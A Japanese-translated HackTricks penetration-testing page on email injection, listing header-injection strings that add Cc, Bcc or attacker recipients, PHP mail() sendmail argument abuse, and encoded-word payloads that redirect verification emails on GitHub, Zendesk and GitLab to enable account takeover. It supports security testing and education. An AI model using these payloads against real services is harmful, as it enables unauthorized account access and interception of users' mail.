Japanese - Ht

Email Injections

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得：

HackTricksをサポートする

送信されたメールに注入する

送信者引数の後にCcおよびBccを注入する

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

メッセージは受信者とrecipient1アカウントに送信されます。

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

メッセージは元の受信者と攻撃者のアカウントに送信されます。

Subject引数の注入

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作に依存します。

メッセージの本文を変更する

二行の改行を挿入し、その後にメッセージを書いてメッセージの本文を変更します。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 関数の悪用

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5番目のパラメータ ($additional_parameters)

このセクションは、攻撃者がこのパラメータを制御していると仮定した場合の悪用方法に基づいています。

このパラメータは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)関数でサニタイズされます。

この場合、攻撃者はsendmail用の抽出パラメータを注入することができます。

/usr/sbin/sendmailの実装の違い

sendmailインターフェースは、システムにインストールされているMTAメールソフトウェア（Sendmail、Postfix、Eximなど）によって提供されます。基本的な機能（-t -i -fパラメータなど）は互換性の理由から同じですが、他の機能やパラメータはインストールされているMTAによって大きく異なります。

以下は、sendmailコマンド/インターフェースの異なるマニュアルページのいくつかの例です：

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

  • Postfix MTA: http://www.postfix.org/mailq.1.html

  • Exim MTA: https://linux.die.net/man/8/eximReferences

sendmailバイナリの起源に応じて、悪用するためのさまざまなオプションが発見され、ファイルを漏洩させたり、任意のコマンドを実行したりすることができます。方法については、https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlを確認してください。

メール名に注入

任意のドメイン名（Github、Gitlab、CloudFlare Zero trustなど）でアカウントを作成し、確認メールを受信して確認できた場合、被害者企業の機密情報にアクセスできる可能性があります。

メールの無視される部分

記号：**+、-および{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。

  • 例：john.doe+intigriti@example.com → john.doe@example.com

括弧 () の間のコメントも、先頭または末尾にある場合は無視されます。

  • 例：john.doe(intigriti)@example.com → john.doe@example.com

ホワイトリストバイパス

引用符

IP

IPを角括弧で囲んでドメイン名として使用することもできます：

  • john.doe@[127.0.0.1]

  • john.doe@[IPv6:2001:db8::1]

メールエンコーディング

この研究で説明されているように、メール名にはエンコードされた文字も含まれることがあります：

  • PHP 256オーバーフロー：PHPのchr関数は、文字が正の値になるまで256を加え続け、その後%256の操作を行います。

  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

このトリックの目的は、RCPT TO:<"collab@psres.net>collab"@example.com>のような注入を行い、確認メールを予期しない別のメールアドレスに送信させることです（したがって、メール名の中に別のメールアドレスを挿入し、メール送信時に構文を壊すことになります）。

異なるエンコーディング：

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

  • エンコードされた @ は =40、エンコードされた > は =3e、null は =00

  • 確認メールは collab@psres.net に送信されます

  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

  • 前と同じトリックですが、最初に通常の引用符を追加し、エンコードされた引用符 =22 をエンコードされた @ の前に追加し、次のメールの前にいくつかの引用符を開始および閉じて、Zendeskによって内部的に使用される構文を修正します

  • 確認メールは collab@psres.net に送信されます

  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

  • アドレスを区切るためにアンダースコアをスペースとして使用していることに注意してください

  • 確認メールは collab@psres.net に送信されます

  • Punycode: Punycodeを使用して、Joomlaに <style タグを注入し、CSSの流出を通じてCSRFトークンを盗むことが可能でした。

Tooling

  • この種の組み合わせをファズするためのBurp Suite Turbo Intruderスクリプトがあります。スクリプトには、潜在的に機能する組み合わせがすでに含まれています。

  • Hackvertorを使用して、メール分割攻撃を作成することも可能です。

Other vulns

Third party SSO

XSS

githubやsalesforceのような一部のサービスでは、XSSペイロードを含むメールアドレスを作成することができます。これらのプロバイダーを使用して他のサービスにログインでき、これらのサービスがメールを正しくサニタイズしていない場合、XSSを引き起こす可能性があります。

Account-Takeover

SSOサービスが指定されたメールアドレスを確認せずにアカウントを作成することを許可する（salesforceのように）場合、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできると、任意のアカウントにアクセスできる可能性があります。 salesforceは指定されたメールが確認されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。

Reply-To

From: company.com を使用してメールを送信し、Replay-To: attacker.com を使用すると、内部アドレスから送信されたために自動返信が送信される場合、攻撃者はその応答を受け取ることができるかもしれません。

Hard Bounce Rate

AWSのような特定のサービスは、Hard Bounce Rateとして知られる閾値を実装しており、通常は10%に設定されています。これは、特にメール配信サービスにとって重要な指標です。この率を超えると、AWSのメールサービスなどが停止またはブロックされる可能性があります。

ハードバウンスは、受信者のアドレスが無効または存在しないために送信者に返されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信者サーバーがメールの受け入れを拒否したりするなど、さまざまな理由で発生する可能性があります。

AWSの文脈では、1000通のメールを送信し、そのうち100通がハードバウンス（無効なアドレスやドメインなどの理由による）した場合、これは10%のハードバウンス率を意味します。この率に達するか超えると、AWS SES（Simple Email Service）がメール送信機能をブロックまたは停止する可能性があります。

中断のないメールサービスを確保し、送信者の評判を維持するために、低いハードバウンス率を維持することが重要です。メールリスト内のメールアドレスの質を監視および管理することは、これを達成するのに大いに役立ちます。

詳細な情報については、AWSの公式ドキュメントでバウンスと苦情の処理に関する情報を参照できます AWS SES Bounce Handling。

References

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

PreviousDomain/Subdomain takeoverNextFile Inclusion/Path traversal

Last updated